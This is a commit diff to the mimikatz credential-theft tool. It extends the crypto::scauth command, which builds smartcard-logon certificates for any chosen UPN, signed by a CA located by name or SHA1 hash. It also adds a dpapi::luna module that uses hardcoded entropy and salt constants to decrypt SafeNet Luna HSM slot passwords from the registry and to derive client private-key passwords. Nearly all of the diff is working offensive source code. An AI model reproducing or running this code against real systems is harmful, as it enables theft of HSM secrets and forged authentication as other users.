[new] crypto::scauth /sha1 (RSA SHA1 signature algorithm instead of default RSA SHA256)

[new] crypto::scauth /keysize:x (RSA key size instead of default 2048 bits)
[new] crypto::scauth /cahash:SHA1 (to search for CA by its SHA1 instead of /caname)
[new] crypto::scauth /cn:w /o:x /ou:y /c:z (to specify DN fields instead of defaults UPN, mimikatz, NULL and FR)
[new] dpapi::luna (to decrypt slot password with KSP configuration)
This commit is contained in:
Benjamin DELPY 2019-12-23 01:00:47 +01:00
parent 3c81f16b5b
commit 699ce3c132
8 changed files with 265 additions and 17 deletions

View File

@ -167,6 +167,7 @@
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_chrome.c" />
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_creds.c" />
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_keys.c" />
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_lunahsm.c" />
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_powershell.c" />
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_rdg.c" />
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_ssh.c" />
@ -269,6 +270,7 @@
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_chrome.h" />
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_creds.h" />
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_keys.h" />
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_lunahsm.h" />
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_powershell.h" />
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_rdg.h" />
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_ssh.h" />

View File

@ -287,6 +287,9 @@
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_powershell.c">
<Filter>local modules\dpapi\packages</Filter>
</ClCompile>
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_lunahsm.c">
<Filter>local modules\dpapi\packages</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="mimikatz.h" />
@ -593,6 +596,9 @@
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_powershell.h">
<Filter>local modules\dpapi\packages</Filter>
</ClInclude>
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_lunahsm.h">
<Filter>local modules\dpapi\packages</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Filter Include="local modules">

View File

@ -403,6 +403,7 @@ BOOL generateCertificate(PKIWI_KEY_INFO ki, PKIWI_CERT_INFO ci, PCCERT_CONTEXT s
CERT_INFO CertInfo = {0};
PWSTR dn;
PCCRYPT_OID_INFO info;
CertInfo.dwVersion = CERT_V3;
CertInfo.cExtension = 3; // KU, SKI, BC2
@ -444,8 +445,10 @@ BOOL generateCertificate(PKIWI_KEY_INFO ki, PKIWI_CERT_INFO ci, PCCERT_CONTEXT s
if(ci->cdp)
CertInfo.rgExtension[CertInfo.cExtension++] = *ci->cdp;
kprintf(L"[s.cert] algorithm : %S\n", CertInfo.SignatureAlgorithm.pszObjId);
kprintf(L"[s.cert] validity : ");
kprintf(L"[s.cert] algorithm : %S", CertInfo.SignatureAlgorithm.pszObjId);
if(info = CryptFindOIDInfo(CRYPT_OID_INFO_OID_KEY, CertInfo.SignatureAlgorithm.pszObjId, CRYPT_OID_DISABLE_SEARCH_DS_FLAG))
kprintf(L" (%s)", info->pwszName);
kprintf(L"\n[s.cert] validity : ");
kull_m_string_displayLocalFileTime(&CertInfo.NotBefore);
kprintf(L" -> ");
kull_m_string_displayLocalFileTime(&CertInfo.NotAfter);
@ -552,15 +555,17 @@ BOOL generateCertificate(PKIWI_KEY_INFO ki, PKIWI_CERT_INFO ci, PCCERT_CONTEXT s
NTSTATUS kuhl_m_crypto_c_sc_auth(int argc, wchar_t * argv[])
{
LPCWSTR szStoreCA, szNameCA, szPfx = NULL, szPin, szCrlDp;
LPCWSTR szStoreCA, szNameCA = NULL, szHashCA, szPfx = NULL, szKeySize, szPin, szCrlDp, szUPN;
HCERTSTORE hCertStoreCA;
PCCERT_CONTEXT pCertCtxCA;
BOOL isExported = FALSE, noUserStore = FALSE;
BOOL isExported = FALSE, noUserStore = FALSE, findHash = FALSE;
CERT_EXTENSION eku = {0}, san = {0}, cdp = {0};
DWORD szCertificate = 0;
PBYTE Certificate = NULL;
KIWI_KEY_INFO ki = {{NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_SILENT, 0, NULL, AT_KEYEXCHANGE}, NULL, CRYPT_EXPORTABLE, 2048};
KIWI_CERT_INFO ci = {NULL, NULL, NULL, NULL, MIMIKATZ, L"FR", NULL, CERT_DIGITAL_SIGNATURE_KEY_USAGE | CERT_KEY_ENCIPHERMENT_KEY_USAGE, szOID_OIWSEC_sha1RSASign/*szOID_RSA_SHA256RSA*/, FALSE, &eku, &san, NULL};
KIWI_CERT_INFO ci = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, CERT_DIGITAL_SIGNATURE_KEY_USAGE | CERT_KEY_ENCIPHERMENT_KEY_USAGE, szOID_RSA_SHA256RSA, FALSE, &eku, &san, NULL};
BYTE hashB[SHA_DIGEST_LENGTH] = {0};
CRYPT_HASH_BLOB hash = {sizeof(hashB), hashB};
if(kull_m_string_args_byName(argc, argv, L"hw", NULL, NULL))
{
@ -570,19 +575,45 @@ NTSTATUS kuhl_m_crypto_c_sc_auth(int argc, wchar_t * argv[])
}
noUserStore = kull_m_string_args_byName(argc, argv, L"nostore", NULL, NULL);
kull_m_string_args_byName(argc, argv, L"castore", &szStoreCA, L"LOCAL_MACHINE");
if(kull_m_string_args_byName(argc, argv, L"caname", &szNameCA, NULL))
if(kull_m_string_args_byName(argc, argv, L"sha1", NULL, NULL))
ci.algorithm = szOID_OIWSEC_sha1RSASign;
if(kull_m_string_args_byName(argc, argv, L"keysize", &szKeySize, NULL))
ki.wKeySize = (WORD) wcstoul(szKeySize, NULL, 0);
kull_m_string_args_byName(argc, argv, L"caname", &szNameCA, NULL);
if(kull_m_string_args_byName(argc, argv, L"cahash", &szHashCA, NULL))
{
if(kull_m_string_args_byName(argc, argv, L"upn", &ci.cn, NULL))
findHash = kull_m_string_stringToHex(szHashCA, hash.pbData, hash.cbData);
if(!findHash)
PRINT_ERROR(L"/cahash needs a SHA1 in hex (40chars for 20bytes)\n");
}
if(szNameCA || findHash)
{
if(kull_m_string_args_byName(argc, argv, L"upn", &szUPN, NULL))
{
kull_m_string_args_byName(argc, argv, L"cn", &ci.cn, szUPN);
kull_m_string_args_byName(argc, argv, L"o", &ci.o, MIMIKATZ);
kull_m_string_args_byName(argc, argv, L"ou", &ci.ou, NULL);
kull_m_string_args_byName(argc, argv, L"c", &ci.c, L"FR");
kprintf(L"CA store : %s\n", szStoreCA);
if(hCertStoreCA = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, (HCRYPTPROV_LEGACY) NULL, kull_m_crypto_system_store_to_dword(szStoreCA) | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"My"))
{
kprintf(L"CA name : %s\n", szNameCA);
if(pCertCtxCA = CertFindCertificateInStore(hCertStoreCA, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, szNameCA, NULL))
if(findHash)
{
kprintf(L"CA hash (sha1) : ");
kull_m_string_wprintf_hex(hash.pbData, hash.cbData, 0);
kprintf(L"\n");
}
else kprintf(L"CA name : %s\n", szNameCA);
if(pCertCtxCA = CertFindCertificateInStore(hCertStoreCA, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, findHash ? CERT_FIND_SHA1_HASH : CERT_FIND_SUBJECT_STR, findHash ? (LPVOID) &hash : (LPVOID) szNameCA, NULL))
{
if(kuhl_m_crypto_c_sc_auth_Ext_EKU(&eku, 2, szOID_KP_SMARTCARD_LOGON, szOID_PKIX_KP_CLIENT_AUTH))
{
if(kuhl_m_crypto_c_sc_auth_Ext_AltUPN(&san, ci.cn))
if(kuhl_m_crypto_c_sc_auth_Ext_AltUPN(&san, szUPN))
{
if(kull_m_string_args_byName(argc, argv, L"crldp", &szCrlDp, NULL))
if(kuhl_m_crypto_c_sc_auth_Ext_CDP(&cdp, 1, szCrlDp))
@ -624,7 +655,7 @@ NTSTATUS kuhl_m_crypto_c_sc_auth(int argc, wchar_t * argv[])
}
else PRINT_ERROR(L"/upn:user@domain.local needed\n");
}
else PRINT_ERROR(L"/caname:CA-KIWI needed\n");
else PRINT_ERROR(L"/caname:CA-KIWI or /cahash:SHA1 needed\n");
if(ki.pin)
LocalFree(ki.pin);
@ -634,7 +665,5 @@ NTSTATUS kuhl_m_crypto_c_sc_auth(int argc, wchar_t * argv[])
NTSTATUS kuhl_m_crypto_c_pkiwi(int argc, wchar_t * argv[])
{
KIWI_KEY_INFO CaKi = {{NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_SILENT, 0, NULL, AT_SIGNATURE}, NULL, CRYPT_EXPORTABLE, 4096};
return STATUS_SUCCESS;
}

View File

@ -20,9 +20,10 @@ const KUHL_M_C kuhl_m_c_dpapi[] = {
#if defined(SQLITE3_OMIT)
{kuhl_m_dpapi_chrome, L"chrome", L"Chrome test"},
#endif
{kuhl_m_dpapi_ssh, L"ssh", L"SSH Agent registry cache"},
{kuhl_m_dpapi_rdg, L"rdg", L"RDG saved passwords"},
{kuhl_m_dpapi_powershell, L"ps", L"PowerShell credentials (PSCredentials or SecureString)"},
{kuhl_m_dpapi_ssh, L"ssh", L"SSH Agent registry cache"},
{kuhl_m_dpapi_rdg, L"rdg", L"RDG saved passwords"},
{kuhl_m_dpapi_powershell, L"ps", L"PowerShell credentials (PSCredentials or SecureString)"},
{kuhl_m_dpapi_lunahsm, L"luna", L"Safenet LunaHSM KSP"},
{kuhl_m_dpapi_oe_cache, L"cache", NULL},
};
const KUHL_M kuhl_m_dpapi = {

View File

@ -17,6 +17,7 @@
#include "packages/kuhl_m_dpapi_ssh.h"
#include "packages/kuhl_m_dpapi_rdg.h"
#include "packages/kuhl_m_dpapi_powershell.h"
#include "packages/kuhl_m_dpapi_lunahsm.h"
const KUHL_M kuhl_m_dpapi;

View File

@ -0,0 +1,195 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kuhl_m_dpapi_lunahsm.h"
NTSTATUS kuhl_m_dpapi_lunahsm(int argc, wchar_t * argv[])
{
HANDLE hDataSoftware;
PKULL_M_REGISTRY_HANDLE hSoftware;
HKEY hBase;
LPCWSTR szArg = NULL;
LPSTR aClient, PrivateKeyPassword;
if(kull_m_string_args_byName(argc, argv, L"client", &szArg, NULL)) // ok, not really DPAPI, but it calculates the password of the client private key
{
if(aClient = kull_m_string_unicode_to_ansi(szArg))
{
if(PrivateKeyPassword = kuhl_m_dpapi_safenet_pk_password(aClient))
{
kprintf(L"Password for `%S` private key is `%S` (without `` quotes)\n", aClient, PrivateKeyPassword);
LocalFree(PrivateKeyPassword);
}
LocalFree(aClient);
}
}
if(kull_m_string_args_byName(argc, argv, L"hive", &szArg, NULL))
{
hDataSoftware = CreateFile(szArg, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(hDataSoftware != INVALID_HANDLE_VALUE)
{
if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSoftware, FALSE, &hSoftware))
{
kuhl_m_dpapi_safenet_ksp_registryparser(hSoftware, NULL, argc, argv);
kull_m_registry_close(hSoftware);
}
CloseHandle(hSoftware);
}
else PRINT_ERROR_AUTO(L"CreateFile (SOFTWARE hive)");
}
else
{
if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_OWN, NULL, FALSE, &hSoftware))
{
if(kull_m_registry_RegOpenKeyEx(hSoftware, HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_READ, &hBase))
{
kuhl_m_dpapi_safenet_ksp_registryparser(hSoftware, hBase, argc, argv);
kull_m_registry_RegCloseKey(hSoftware, hBase);
}
kull_m_registry_close(hSoftware);
}
}
return STATUS_SUCCESS;
}
void kuhl_m_dpapi_safenet_ksp_registryparser(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hBase, int argc, wchar_t * argv[])
{
HKEY hKeys, hEntry;
DWORD i, nbSubKeys, szMaxSubKeyLen, szKey;
wchar_t * keyName;
char *aKeyName;
BYTE entropy[MD5_DIGEST_LENGTH];
if(kull_m_registry_RegOpenKeyEx(hRegistry, hBase, L"Safenet\\SafeNetKSP\\Slots", 0, KEY_WOW64_64KEY | KEY_READ, &hKeys))
{
if(kull_m_registry_RegQueryInfoKey(hRegistry, hKeys, NULL, NULL, NULL, &nbSubKeys, &szMaxSubKeyLen, NULL, NULL, NULL, NULL, NULL, NULL))
{
szMaxSubKeyLen++;
if(keyName = (wchar_t *) LocalAlloc(LPTR, (szMaxSubKeyLen + 1) * sizeof(wchar_t)))
{
for(i = 0; i < nbSubKeys; i++)
{
szKey = szMaxSubKeyLen;
if(kull_m_registry_RegEnumKeyEx(hRegistry, hKeys, i, keyName, &szKey, NULL, NULL, NULL, NULL))
{
kprintf(L"\n [%s] ", keyName);
if(aKeyName = kull_m_string_unicode_to_ansi(keyName))
{
kuhl_m_dpapi_safenet_ksp_entropy(aKeyName, entropy);
kull_m_string_wprintf_hex(entropy, MD5_DIGEST_LENGTH, 0);
kprintf(L" ");
if(kull_m_registry_RegOpenKeyEx(hRegistry, hKeys, keyName, 0, KEY_READ, &hEntry))
{
kprintf(L"\n");
kuhl_m_dpapi_safenet_ksp_registry_user_parser(hRegistry, hEntry, entropy, argc, argv);
kull_m_registry_RegCloseKey(hRegistry, hEntry);
}
else PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx");
LocalFree(aKeyName);
}
}
}
LocalFree(keyName);
}
}
else PRINT_ERROR_AUTO(L"kull_m_registry_RegQueryInfoKey");
kull_m_registry_RegCloseKey(hRegistry, hKeys);
}
}
void kuhl_m_dpapi_safenet_ksp_registry_user_parser(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hEntry, BYTE entropy[MD5_DIGEST_LENGTH], int argc, wchar_t * argv[])
{
DWORD i, type, nbValues, szMaxValueNameLen, szMaxValueLen, szSecretName, szSecret, cbDataOut;
PBYTE secret, dataOut;
wchar_t * secretName;
if(kull_m_registry_RegQueryInfoKey(hRegistry, hEntry, NULL, NULL, NULL, NULL, NULL, NULL, &nbValues, &szMaxValueNameLen, &szMaxValueLen, NULL, NULL))
{
szMaxValueNameLen++;
if(secretName = (wchar_t *) LocalAlloc(LPTR, (szMaxValueNameLen + 1) * sizeof(wchar_t)))
{
if(secret = (PBYTE) LocalAlloc(LPTR, szMaxValueLen))
{
for(i = 0; i < nbValues; i++)
{
szSecretName = szMaxValueNameLen;
szSecret = szMaxValueLen;
if(kull_m_registry_RegEnumValue(hRegistry, hEntry, i, secretName, &szSecretName, NULL, &type, secret, &szSecret))
{
kprintf(L"\t[%s]\n", secretName);
if(type == REG_BINARY)
{
if(kuhl_m_dpapi_unprotect_raw_or_blob(secret, szSecret, NULL, argc, argv, entropy, MD5_DIGEST_LENGTH, (LPVOID *) &dataOut, &cbDataOut, NULL))
{
kprintf(L"\tSlot password: %.*S\n", cbDataOut, dataOut);
LocalFree(dataOut);
}
}
else PRINT_ERROR(L"Incompatible REG type: %u\n", type);
}
}
LocalFree(secret);
}
LocalFree(secretName);
}
}
}
const BYTE SAFENET_KSP_ENTROPY_MIXER_DERIVED[MD5_DIGEST_LENGTH] = {0xef, 0x85, 0xf9, 0x5d, 0x17, 0x77, 0x07, 0x41, 0xcf, 0x6d, 0x27, 0x9f, 0x17, 0x9b, 0xdd, 0x4f};
void kuhl_m_dpapi_safenet_ksp_entropy(IN LPCSTR identity, OUT BYTE entropy[MD5_DIGEST_LENGTH])
{
DWORD i, dwIdentity = lstrlenA(identity);
MD5_CTX ctx;
MD5Init(&ctx);
for(i = 0; i < 1462; i++)
MD5Update(&ctx, identity, dwIdentity);
MD5Final(&ctx);
for(i = 0; i < MD5_DIGEST_LENGTH; i++)
entropy[i] = ctx.digest[i] ^ SAFENET_KSP_ENTROPY_MIXER_DERIVED[i];
}
const BYTE SAFENET_PRIVATEKEY_PASSWORD_SALT_DERIVED[] = {0x05, 0x1c, 0x08, 0x14, 0x0d, 0x11, 0x45, 0x54, 0x04, 0x45, 0x15, 0x4f, 0x0d, 0x01, 0x4e, 0x04, 0x1b, 0x06, 0x46, 0x00};
LPSTR kuhl_m_dpapi_safenet_pk_password(IN LPCSTR server)
{
BOOL status = FALSE;
DWORD i, dwServer = min(lstrlenA(server), 20);
LPSTR password;
if(password = (LPSTR) LocalAlloc(LPTR, dwServer + 1))
for(i = 0; i < dwServer; i++)
password[i] = SAFENET_PRIVATEKEY_PASSWORD_SALT_DERIVED[i] ^ server[i];
return password;
}
//const BYTE SAFENET_KSP_ENTROPY_MIXER[MD5_DIGEST_LENGTH] = {0xd5, 0x56, 0x7b, 0xc9, 0x15, 0x42, 0x62, 0x0f, 0x9c, 0xc6, 0x17, 0xf1, 0x93, 0x9a, 0x0c, 0xa7};
//void kuhl_m_dpapi_safenet_ksp_entropy_original(IN LPCSTR identity, OUT BYTE entropy[MD5_DIGEST_LENGTH])
//{
// DWORD i, dwIdentity = lstrlenA(identity);
// MD5_CTX ctx;
// BYTE value = 0x45;
// MD5Init(&ctx);
// for(i = 0; i < 1462; i++)
// MD5Update(&ctx, identity, dwIdentity);
// MD5Final(&ctx);
// for(i = 0; i < MD5_DIGEST_LENGTH; i++)
// {
// value ^= ((SAFENET_KSP_ENTROPY_MIXER[i] >> 1) & 0x7e) + 0x40;
// entropy[i] = ctx.digest[i] ^ value;
// }
//}
//
//const char SAFENET_PRIVATEKEY_PASSWORD_SALT0[] = "Unable to load config info.";
//const char SAFENET_PRIVATEKEY_PASSWORD_SALT1[] = "Private key length is too short";
//LPSTR kuhl_m_dpapi_safenet_pk_password_original(IN LPCSTR server)
//{
// BOOL status = FALSE;
// DWORD i, dwServer = min(lstrlenA(server), 20);
// LPSTR password;
// if(password = (LPSTR) LocalAlloc(LPTR, dwServer + 1))
// for(i = 0; i < dwServer; i++)
// password[i] = SAFENET_PRIVATEKEY_PASSWORD_SALT0[i] ^ SAFENET_PRIVATEKEY_PASSWORD_SALT1[i] ^ server[i];
// return password;
//}

View File

@ -0,0 +1,15 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#pragma once
#include "../kuhl_m_dpapi.h"
NTSTATUS kuhl_m_dpapi_lunahsm(int argc, wchar_t * argv[]);
void kuhl_m_dpapi_safenet_ksp_registryparser(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hBase, int argc, wchar_t * argv[]);
void kuhl_m_dpapi_safenet_ksp_registry_user_parser(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hEntry, BYTE entropy[MD5_DIGEST_LENGTH], int argc, wchar_t * argv[]);
void kuhl_m_dpapi_safenet_ksp_entropy(IN LPCSTR identity, OUT BYTE entropy[MD5_DIGEST_LENGTH]);
LPSTR kuhl_m_dpapi_safenet_pk_password(IN LPCSTR server);

View File

@ -711,7 +711,6 @@ BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity,
CRYPTO_BUFFER data, key = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, digest};
LSA_UNICODE_STRING usr;
if(kuhl_m_lsadump_decryptSecret(hSecurity, hPolicyBase, L"Secrets\\NL$KM\\CurrVal", lsaKeysStream, lsaKeyUnique, &pNLKM, &szNLKM))
{
if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecurityBase, L"Cache", 0, KEY_READ | (pCacheData ? (pCacheData->username ? KEY_WRITE : 0) : 0), &hCache))